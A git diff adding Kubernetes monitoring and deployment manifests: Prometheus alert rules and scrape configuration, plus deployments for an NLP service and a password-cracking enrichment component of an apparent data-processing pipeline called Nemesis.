+ description: "Prometheus has restarted more than twice in the last 15 minutes. It might be crashlooping.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusAlertmanagerConfigurationReloadFailure
+ expr: alertmanager_config_last_reload_successful != 1
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus AlertManager configuration reload failure (instance {{ $labels.instance }})
+ description: "AlertManager configuration reload error\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusAlertmanagerConfigNotSynced
+ expr: count(count_values("config_hash", alertmanager_config_hash)) > 1
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus AlertManager config not synced (instance {{ $labels.instance }})
+ description: "Configurations of AlertManager cluster instances are out of sync\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusNotConnectedToAlertmanager
+ expr: prometheus_notifications_alertmanagers_discovered < 1
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Prometheus not connected to alertmanager (instance {{ $labels.instance }})
+ description: "Prometheus cannot connect the alertmanager\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusRuleEvaluationFailures
+ expr: increase(prometheus_rule_evaluation_failures_total[3m]) > 0
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Prometheus rule evaluation failures (instance {{ $labels.instance }})
+ description: "Prometheus encountered {{ $value }} rule evaluation failures, leading to potentially ignored alerts.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusTemplateTextExpansionFailures
+ expr: increase(prometheus_template_text_expansion_failures_total[3m]) > 0
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Prometheus template text expansion failures (instance {{ $labels.instance }})
+ description: "Prometheus encountered {{ $value }} template text expansion failures\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusRuleEvaluationSlow
+ expr: prometheus_rule_group_last_duration_seconds > prometheus_rule_group_interval_seconds
+ for: 5m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus rule evaluation slow (instance {{ $labels.instance }})
+ description: "Prometheus rule evaluation took more time than the scheduled interval. It indicates a slower storage backend access or too complex query.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusNotificationsBacklog
+ expr: min_over_time(prometheus_notifications_queue_length[10m]) > 0
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus notifications backlog (instance {{ $labels.instance }})
+ description: "The Prometheus notification queue has not been empty for 10 minutes\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusAlertmanagerNotificationFailing
+ expr: rate(alertmanager_notifications_failed_total[1m]) > 0
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Prometheus AlertManager notification failing (instance {{ $labels.instance }})
+ description: "Alertmanager is failing sending notifications\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusTargetEmpty
+ expr: prometheus_sd_discovered_targets == 0
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Prometheus target empty (instance {{ $labels.instance }})
+ description: "Prometheus has no target in service discovery\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: PrometheusTargetScrapingSlow
+ expr: prometheus_target_interval_length_seconds{quantile="0.9"} / on (interval, instance, job) prometheus_target_interval_length_seconds{quantile="0.5"} > 1.05
+ for: 5m
+ labels:
+ severity: warning
+ annotations:
+ summary: Prometheus target scraping slow (instance {{ $labels.instance }})
+ description: "Prometheus is scraping exporters slowly since it exceeded the requested interval time. Your Prometheus server is under-provisioned.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - name: Elasticsearch alerts
+ rules:
+ - alert: ElasticsearchCPUUsageTooHigh
+ expr: elasticsearch_os_cpu_percent > 90
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Elasticsearch Node CPU Usage Too High (instance {{ $labels.instance }})
+ description: "The heap usage is over 90%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+ - alert: ElasticsearchCPUUsageWarning
+ expr: elasticsearch_os_cpu_percent > 80
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch Node CPU Usage Too High (instance {{ $labels.instance }})
+ description: "The heap usage is over 80%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchHeapUsageTooHigh
+ expr: (elasticsearch_jvm_memory_used_bytes{area="heap"} / elasticsearch_jvm_memory_max_bytes{area="heap"}) * 100 > 90
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Elasticsearch Heap Usage Too High (instance {{ $labels.instance }})
+ description: "The heap usage is over 90%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchHeapUsageWarning
+ expr: (elasticsearch_jvm_memory_used_bytes{area="heap"} / elasticsearch_jvm_memory_max_bytes{area="heap"}) * 100 > 80
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch Heap Usage warning (instance {{ $labels.instance }})
+ description: "The heap usage is over 80%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchDiskOutOfSpace
+ expr: elasticsearch_filesystem_data_available_bytes / elasticsearch_filesystem_data_size_bytes * 100 < 10
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Elasticsearch disk out of space (instance {{ $labels.instance }})
+ description: "The disk usage is over 90%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchDiskSpaceLow
+ expr: elasticsearch_filesystem_data_available_bytes / elasticsearch_filesystem_data_size_bytes * 100 < 20
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch disk space low (instance {{ $labels.instance }})
+ description: "The disk usage is over 80%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchClusterRed
+ expr: elasticsearch_cluster_health_status{color="red"} == 1
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Elasticsearch Cluster Red (instance {{ $labels.instance }})
+ description: "Elastic Cluster Red status\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchClusterYellow
+ expr: elasticsearch_cluster_health_status{color="yellow"} == 1
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch Cluster Yellow (instance {{ $labels.instance }})
+ description: "Elastic Cluster Yellow status\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchRelocatingShards
+ expr: elasticsearch_cluster_health_relocating_shards > 0
+ for: 0m
+ labels:
+ severity: info
+ annotations:
+ summary: Elasticsearch relocating shards (instance {{ $labels.instance }})
+ description: "Elasticsearch is relocating shards\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchRelocatingShardsTooLong
+ expr: elasticsearch_cluster_health_relocating_shards > 0
+ for: 15m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch relocating shards too long (instance {{ $labels.instance }})
+ description: "Elasticsearch has been relocating shards for 15min\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchInitializingShards
+ expr: elasticsearch_cluster_health_initializing_shards > 0
+ for: 0m
+ labels:
+ severity: info
+ annotations:
+ summary: Elasticsearch initializing shards (instance {{ $labels.instance }})
+ description: "Elasticsearch is initializing shards\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchInitializingShardsTooLong
+ expr: elasticsearch_cluster_health_initializing_shards > 0
+ for: 15m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch initializing shards too long (instance {{ $labels.instance }})
+ description: "Elasticsearch has been initializing shards for 15 min\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ # - alert: ElasticsearchUnassignedShards
+ # expr: elasticsearch_cluster_health_unassigned_shards > 0
+ # for: 0m
+ # labels:
+ # severity: critical
+ # annotations:
+ # summary: Elasticsearch unassigned shards (instance {{ $labels.instance }})
+ # description: "Elasticsearch has unassigned shards\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: ElasticsearchPendingTasks
+ expr: elasticsearch_cluster_health_number_of_pending_tasks > 0
+ for: 15m
+ labels:
+ severity: warning
+ annotations:
+ summary: Elasticsearch pending tasks (instance {{ $labels.instance }})
+ description: "Elasticsearch has pending tasks. Cluster works slowly.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - name: Kubernetes alerts
+ rules:
+ - alert: KubernetesNodeReady
+ expr: kube_node_status_condition{condition="Ready",status="true"} == 0
+ for: 10m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes Node ready (instance {{ $labels.instance }})
+ description: "Node {{ $labels.node }} has been unready for a long time\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesMemoryPressure
+ expr: kube_node_status_condition{condition="MemoryPressure",status="true"} == 1
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes memory pressure (instance {{ $labels.instance }})
+ description: "{{ $labels.node }} has MemoryPressure condition\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesDiskPressure
+ expr: kube_node_status_condition{condition="DiskPressure",status="true"} == 1
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes disk pressure (instance {{ $labels.instance }})
+ description: "{{ $labels.node }} has DiskPressure condition\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesNetworkUnavailable
+ expr: kube_node_status_condition{condition="NetworkUnavailable",status="true"} == 1
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes network unavailable (instance {{ $labels.instance }})
+ description: "{{ $labels.node }} has NetworkUnavailable condition\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesOutOfCapacity
+ expr: sum by (node) ((kube_pod_status_phase{phase="Running"} == 1) + on(uid) group_left(node) (0 * kube_pod_info{pod_template_hash=""})) / sum by (node) (kube_node_status_allocatable{resource="pods"}) * 100 > 90
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes out of capacity (instance {{ $labels.instance }})
+ description: "{{ $labels.node }} is out of capacity\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesContainerOomKiller
+ expr: (kube_pod_container_status_restarts_total - kube_pod_container_status_restarts_total offset 10m >= 1) and ignoring (reason) min_over_time(kube_pod_container_status_last_terminated_reason{reason="OOMKilled"}[10m]) == 1
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes container oom killer (instance {{ $labels.instance }})
+ description: "Container {{ $labels.container }} in pod {{ $labels.namespace }}/{{ $labels.pod }} has been OOMKilled {{ $value }} times in the last 10 minutes.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesVolumeOutOfDiskSpace
+ expr: kubelet_volume_stats_available_bytes / kubelet_volume_stats_capacity_bytes * 100 < 10
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes Volume out of disk space (instance {{ $labels.instance }})
+ description: "Volume is almost full (< 10% left)\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesPersistentvolumeError
+ expr: kube_persistentvolume_status_phase{phase=~"Failed|Pending", job="kube-state-metrics"} > 0
+ for: 0m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes PersistentVolume error (instance {{ $labels.instance }})
+ description: "Persistent volume is in bad state\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesPodNotHealthy
+ expr: min_over_time(sum by (namespace, pod) (kube_pod_status_phase{phase=~"Pending|Unknown|Failed"})[15m:1m]) > 0
+ for: 15m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes Pod not healthy (instance {{ $labels.instance }})
+ description: "Pod has been in a non-ready state for longer than 15 minutes.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesPodCrashLooping
+ expr: increase(kube_pod_container_status_restarts_total[1m]) > 3
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes pod crash looping (instance {{ $labels.instance }})
+ description: "Pod {{ $labels.pod }} is crash looping\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesReplicassetMismatch
+ expr: kube_replicaset_spec_replicas != kube_replicaset_status_ready_replicas
+ for: 10m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes ReplicasSet mismatch (instance {{ $labels.instance }})
+ description: "Deployment Replicas mismatch\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesDeploymentReplicasMismatch
+ expr: kube_deployment_spec_replicas != kube_deployment_status_replicas_available
+ for: 10m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes Deployment replicas mismatch (instance {{ $labels.instance }})
+ description: "Deployment Replicas mismatch\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesApiServerErrors
+ expr: sum(rate(apiserver_request_total{job="apiserver",code=~"^(?:5..)$"}[1m])) / sum(rate(apiserver_request_total{job="apiserver"}[1m])) * 100 > 3
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes API server errors (instance {{ $labels.instance }})
+ description: "Kubernetes API server is experiencing high error rate\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesApiClientErrors
+ expr: (sum(rate(rest_client_requests_total{code=~"(4|5).."}[1m])) by (instance, job) / sum(rate(rest_client_requests_total[1m])) by (instance, job)) * 100 > 1
+ for: 2m
+ labels:
+ severity: critical
+ annotations:
+ summary: Kubernetes API client errors (instance {{ $labels.instance }})
+ description: "Kubernetes API client is experiencing high error rate\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: KubernetesApiServerLatency
+ expr: histogram_quantile(0.99, sum(rate(apiserver_request_latencies_bucket{subresource!="log",verb!~"^(?:CONNECT|WATCHLIST|WATCH|PROXY)$"} [10m])) WITHOUT (instance, resource)) / 1e+06 > 1
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Kubernetes API server latency (instance {{ $labels.instance }})
+ description: "Kubernetes API server has a 99th percentile latency of {{ $value }} seconds for {{ $labels.verb }} {{ $labels.resource }}.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - name: Node Exporter alerts
+ rules:
+ - alert: HostOutOfMemory
+ expr: node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes * 100 < 10
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host out of memory (instance {{ $labels.instance }})
+ description: "Node memory is filling up (< 10% left)\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostMemoryUnderMemoryPressure
+ expr: rate(node_vmstat_pgmajfault[1m]) > 1000
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host memory under memory pressure (instance {{ $labels.instance }})
+ description: "The node is under heavy memory pressure. High rate of major page faults\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostUnusualDiskReadLatency
+ expr: rate(node_disk_read_time_seconds_total[1m]) / rate(node_disk_reads_completed_total[1m]) > 0.1 and rate(node_disk_reads_completed_total[1m]) > 0
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host unusual disk read latency (instance {{ $labels.instance }})
+ description: "Disk latency is growing (read operations > 100ms)\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostUnusualDiskWriteLatency
+ expr: rate(node_disk_write_time_seconds_total[1m]) / rate(node_disk_writes_completed_total[1m]) > 0.1 and rate(node_disk_writes_completed_total[1m]) > 0
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host unusual disk write latency (instance {{ $labels.instance }})
+ description: "Disk latency is growing (write operations > 100ms)\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostHighCpuLoad
+ expr: 100 - (avg by(instance) (rate(node_cpu_seconds_total{mode="idle"}[2m])) * 100) > 80
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host high CPU load (instance {{ $labels.instance }})
+ description: "CPU load is > 80%\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostSwapIsFillingUp
+ expr: (1 - (node_memory_SwapFree_bytes / node_memory_SwapTotal_bytes)) * 100 > 80
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host swap is filling up (instance {{ $labels.instance }})
+ description: "Swap is filling up (>80%)\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostSystemdServiceCrashed
+ expr: node_systemd_unit_state{state="failed"} == 1
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host systemd service crashed (instance {{ $labels.instance }})
+ description: "systemd service crashed\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostOomKillDetected
+ expr: increase(node_vmstat_oom_kill[1m]) > 0
+ for: 0m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host OOM kill detected (instance {{ $labels.instance }})
+ description: "OOM kill detected\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostClockSkew
+ expr: (node_timex_offset_seconds > 0.05 and deriv(node_timex_offset_seconds[5m]) >= 0) or (node_timex_offset_seconds < -0.05 and deriv(node_timex_offset_seconds[5m]) <= 0)
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host clock skew (instance {{ $labels.instance }})
+ description: "Clock skew detected. Clock is out of sync. Ensure NTP is configured correctly on this host.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostClockNotSynchronising
+ expr: min_over_time(node_timex_sync_status[1m]) == 0 and node_timex_maxerror_seconds >= 16
+ for: 2m
+ labels:
+ severity: warning
+ annotations:
+ summary: Host clock not synchronising (instance {{ $labels.instance }})
+ description: "Clock not synchronising. Ensure NTP is configured on this host.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ - alert: HostRequiresReboot
+ expr: node_reboot_required > 0
+ for: 4h
+ labels:
+ severity: info
+ annotations:
+ summary: Host requires reboot (instance {{ $labels.instance }})
+ description: "{{ $labels.instance }} requires a reboot.\n VALUE = {{ $value }}\n LABELS = {{ $labels }}"
+
+ prometheus.yml: |-
+ global:
+ scrape_interval: 5s
+ evaluation_interval: 5s
+ rule_files:
+ - /etc/prometheus/prometheus.rules
+ alerting:
+ alertmanagers:
+ - scheme: http
+ static_configs:
+ - targets:
+ - "alertmanager.monitoring.svc:9093"
+
+ scrape_configs:
+
+ - job_name: 'prometheus'
+ scrape_interval: 5s
+ static_configs:
+ - targets: ['127.0.0.1:9090']
+
+ - job_name: 'node-exporter'
+ kubernetes_sd_configs:
+ - role: endpoints
+ relabel_configs:
+ - source_labels: [__meta_kubernetes_endpoints_name]
+ regex: 'node-exporter'
+ action: keep
+
+ - job_name: 'kubernetes-apiservers'
+ kubernetes_sd_configs:
+ - role: endpoints
+ scheme: https
+ tls_config:
+ ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+ bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
+ relabel_configs:
+ - source_labels: [__meta_kubernetes_namespace, __meta_kubernetes_service_name, __meta_kubernetes_endpoint_port_name]
+ action: keep
+ regex: default;kubernetes;https
+
+ - job_name: 'kubernetes-nodes'
+ scheme: https
+ tls_config:
+ ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+ bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
+ kubernetes_sd_configs:
+ - role: node
+ relabel_configs:
+ - action: labelmap
+ regex: __meta_kubernetes_node_label_(.+)
+ - target_label: __address__
+ replacement: kubernetes.default.svc:443
+ - source_labels: [__meta_kubernetes_node_name]
+ regex: (.+)
+ target_label: __metrics_path__
+ replacement: /api/v1/nodes/${1}/proxy/metrics
+
+ - job_name: 'kubernetes-pods'
+ kubernetes_sd_configs:
+ - role: pod
+ relabel_configs:
+ - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
+ action: keep
+ regex: true
+ - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_path]
+ action: replace
+ target_label: __metrics_path__
+ regex: (.+)
+ - source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port]
+ action: replace
+ regex: ([^:]+)(?::\d+)?;(\d+)
+ replacement: $1:$2
+ target_label: __address__
+ - action: labelmap
+ regex: __meta_kubernetes_pod_label_(.+)
+ - source_labels: [__meta_kubernetes_namespace]
+ action: replace
+ target_label: kubernetes_namespace
+ - source_labels: [__meta_kubernetes_pod_name]
+ action: replace
+ target_label: kubernetes_pod_name
+
+ - job_name: 'kube-state-metrics'
+ static_configs:
+ - targets: ['kube-state-metrics.kube-system.svc.cluster.local:8080']
+
+ - job_name: 'kubernetes-cadvisor'
+ scheme: https
+ tls_config:
+ ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+ bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token
+ kubernetes_sd_configs:
+ - role: node
+ relabel_configs:
+ - action: labelmap
+ regex: __meta_kubernetes_node_label_(.+)
+ - target_label: __address__
+ replacement: kubernetes.default.svc:443
+ - source_labels: [__meta_kubernetes_node_name]
+ regex: (.+)
+ target_label: __metrics_path__
+ replacement: /api/v1/nodes/${1}/proxy/metrics/cadvisor
+
+ - job_name: 'kubernetes-service-endpoints'
+ kubernetes_sd_configs:
+ - role: endpoints
+ relabel_configs:
+ - source_labels: [__meta_kubernetes_service_annotation_prometheus_io_scrape]
+ action: keep
+ regex: true
+ - source_labels: [__meta_kubernetes_service_annotation_prometheus_io_scheme]
+ action: replace
+ target_label: __scheme__
+ regex: (https?)
+ - source_labels: [__meta_kubernetes_service_annotation_prometheus_io_path]
+ action: replace
+ target_label: __metrics_path__
+ regex: (.+)
+ - source_labels: [__address__, __meta_kubernetes_service_annotation_prometheus_io_port]
+ action: replace
+ target_label: __address__
+ regex: ([^:]+)(?::\d+)?;(\d+)
+ replacement: $1:$2
+ - action: labelmap
+ regex: __meta_kubernetes_service_label_(.+)
+ - source_labels: [__meta_kubernetes_namespace]
+ action: replace
+ target_label: kubernetes_namespace
+ - source_labels: [__meta_kubernetes_service_name]
+ action: replace
+ target_label: kubernetes_name
+
+ # service metrics
+ - job_name: 'nemesis-services'
+ scrape_interval: 5s
+ static_configs:
+ - targets: ['dotnet.default.svc.cluster.local:9801']
+ - targets: ['es-connector.default.svc.cluster.local:8000']
+ - targets: ['file-processor.default.svc.cluster.local:8000']
+ - targets: ['generate-crack-list.default.svc.cluster.local:9901']
+ - targets: ['ml-models.default.svc.cluster.local:5001']
+
+ - job_name: 'gotenberg'
+ scrape_interval: 5s
+ static_configs:
+ - targets: ['gotenberg.default.svc.cluster.local:3000']
+ metrics_path: /prometheus/metrics
+
+ - job_name: 'elasticsearch'
+ scrape_interval: 5s
+ static_configs:
+ - targets: ['elasticsearch-exporter.default.svc.cluster.local:9108']
+
+ - job_name: 'postgres'
+ scrape_interval: 5s
+ static_configs:
+ - targets: ['postgres-exporter.default.svc.cluster.local:9187']
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: prometheus-deployment
+ namespace: monitoring
+ labels:
+ app: prometheus-server
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: prometheus-server
+ template:
+ metadata:
+ labels:
+ app: prometheus-server
+ spec:
+ containers:
+ - name: prometheus
+ image: prom/prometheus:v2.40.3
+ args:
+ - "--config.file=/etc/prometheus/prometheus.yml"
+ - "--storage.tsdb.path=/prometheus/"
+ ports:
+ - containerPort: 9090
+ volumeMounts:
+ - name: prometheus-config-volume
+ mountPath: /etc/prometheus/
+ - name: prometheus-storage-volume
+ mountPath: /prometheus/
+ volumes:
+ - name: prometheus-config-volume
+ configMap:
+ defaultMode: 420
+ name: prometheus-server-conf
+ - name: prometheus-storage-volume
+ emptyDir: {}
+---
+apiVersion: v1
+kind: Service
+metadata:
+ name: prometheus-service
+ namespace: monitoring
+ annotations:
+ prometheus.io/scrape: "true"
+ prometheus.io/port: "9090"
+spec:
+ selector:
+ app: prometheus-server
+ type: NodePort
+ ports:
+ - port: 9090
+ targetPort: 9090
+ nodePort: 30090
diff --git a/kubernetes/nlp/deployment.yaml b/kubernetes/nlp/deployment.yaml
new file mode 100644
index 0000000..a9ba0ad
--- /dev/null
+++ b/kubernetes/nlp/deployment.yaml
@@ -0,0 +1,124 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: nlp
+ labels:
+ app: nlp
+ component: enrichment-pipeline
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: nlp
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: nlp
+ component: enrichment-pipeline
+ spec:
+ containers:
+ - env:
+ - name: ENVIRONMENT
+ value: development
+ - name: LOG_LEVEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: log-level
+ - name: PROMETHEUS_PORT
+ value: "8000"
+ - name: PROMETHEUS_DISABLE_CREATED_SERIES
+ value: "True"
+ - name: ASSESSMENT_ID
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: assessment-id
+ - name: AWS_BUCKET
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-bucket
+ - name: AWS_DEFAULT_REGION
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-default-region
+ - name: AWS_ACCESS_KEY_ID
+ valueFrom:
+ secretKeyRef:
+ name: aws-creds
+ key: aws_access_key_id
+ - name: AWS_SECRET_ACCESS_KEY
+ valueFrom:
+ secretKeyRef:
+ name: aws-creds
+ key: aws_secret_key
+ - name: AWS_KMS_KEY_ALIAS
+ valueFrom:
+ configMapKeyRef:
+ name: aws-config
+ key: aws-kms-key-alias
+ - name: DATA_DOWNLOAD_DIR
+ value: "/tmp"
+
+ - name: STORAGE_PROVIDER
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: storage_provider
+ - name: MINIO_ROOT_USER
+ valueFrom:
+ secretKeyRef:
+ name: minio-creds
+ key: minio_root_user
+ - name: MINIO_ROOT_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: minio-creds
+ key: minio_root_password
+
+ - name: RABBITMQ_CONNECTION_URI
+ valueFrom:
+ secretKeyRef:
+ name: rabbitmq-creds
+ key: rabbitmq-connectionuri
+ - name: ELASTIC_INDEX_NAME
+ value: "text_embeddings"
+ - name: EMBEDDING_MODEL
+ value: "sentence-transformers/all-MiniLM-L6-v2"
+ - name: ELASTICSEARCH_URL
+ value: http://nemesis-es-internal-http:9200/
+ - name: ELASTICSEARCH_USER
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: username
+ - name: ELASTICSEARCH_PASSWORD
+ valueFrom:
+ secretKeyRef:
+ name: elasticsearch-users
+ key: password
+ - name: ELASTIC_CONNECTION_URI
+ value: "http://$(ELASTICSEARCH_USER):$(ELASTICSEARCH_PASSWORD)@nemesis-es-internal-http:9200"
+
+ image: nemesis-nlp
+ name: nemesis-nlp
+ ports:
+ - containerPort: 9803
+ name: nlp-http
+ # - containerPort: 9801
+ # name: dotnet-prom
+ resources: {}
+ readinessProbe:
+ httpGet:
+ path: /ready
+ port: nlp-http
+ initialDelaySeconds: 5
+ periodSeconds: 5
+ timeoutSeconds: 5
+ failureThreshold: 10
+
+ restartPolicy: Always
+status: {}
diff --git a/kubernetes/nlp/service.yaml b/kubernetes/nlp/service.yaml
new file mode 100644
index 0000000..2300682
--- /dev/null
+++ b/kubernetes/nlp/service.yaml
@@ -0,0 +1,18 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: nlp
+ labels:
+ app: nlp
+ component: enrichment-pipeline
+spec:
+ type: NodePort
+ ports:
+ - name: "9803"
+ port: 9803
+ targetPort: 9803
+ nodePort: 31803
+ selector:
+ app: nlp
+status:
+ loadBalancer: {}
diff --git a/kubernetes/passwordcracker/deployment.yaml b/kubernetes/passwordcracker/deployment.yaml
new file mode 100644
index 0000000..97cbcd1
--- /dev/null
+++ b/kubernetes/passwordcracker/deployment.yaml
@@ -0,0 +1,92 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: passwordcracker
+ labels:
+ app: passwordcracker
+ component: enrichment-pipeline
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: passwordcracker
+ strategy: {}
+ template:
+ metadata:
+ labels:
+ app: passwordcracker
+ component: enrichment-pipeline
+ spec:
+ containers:
+ - env:
+ - name: ASSESSMENT_ID
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: assessment-id
+ - name: CRACK_WORDLIST_TOP_WORDS
+ value: "10000"
+ - name: DATA_DOWNLOAD_DIR
+ value: "/tmp"
+ - name: DISABLE_ALERTING
+ value: "False"
+ - name: ENVIRONMENT
+ value: development
+ - name: LOG_LEVEL
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: log-level
+ - name: NEMESIS_HTTP_SERVER
+ valueFrom:
+ configMapKeyRef:
+ name: operation-config
+ key: nemesis-http-server
+ - name: PROMETHEUS_DISABLE_CREATED_SERIES
+ value: "True"
+ - name: PROMETHEUS_PORT
+ value: "9090"
+ - name: PUBLIC_KIBANA_URL
+ value: "$(NEMESIS_HTTP_SERVER)/kibana/"
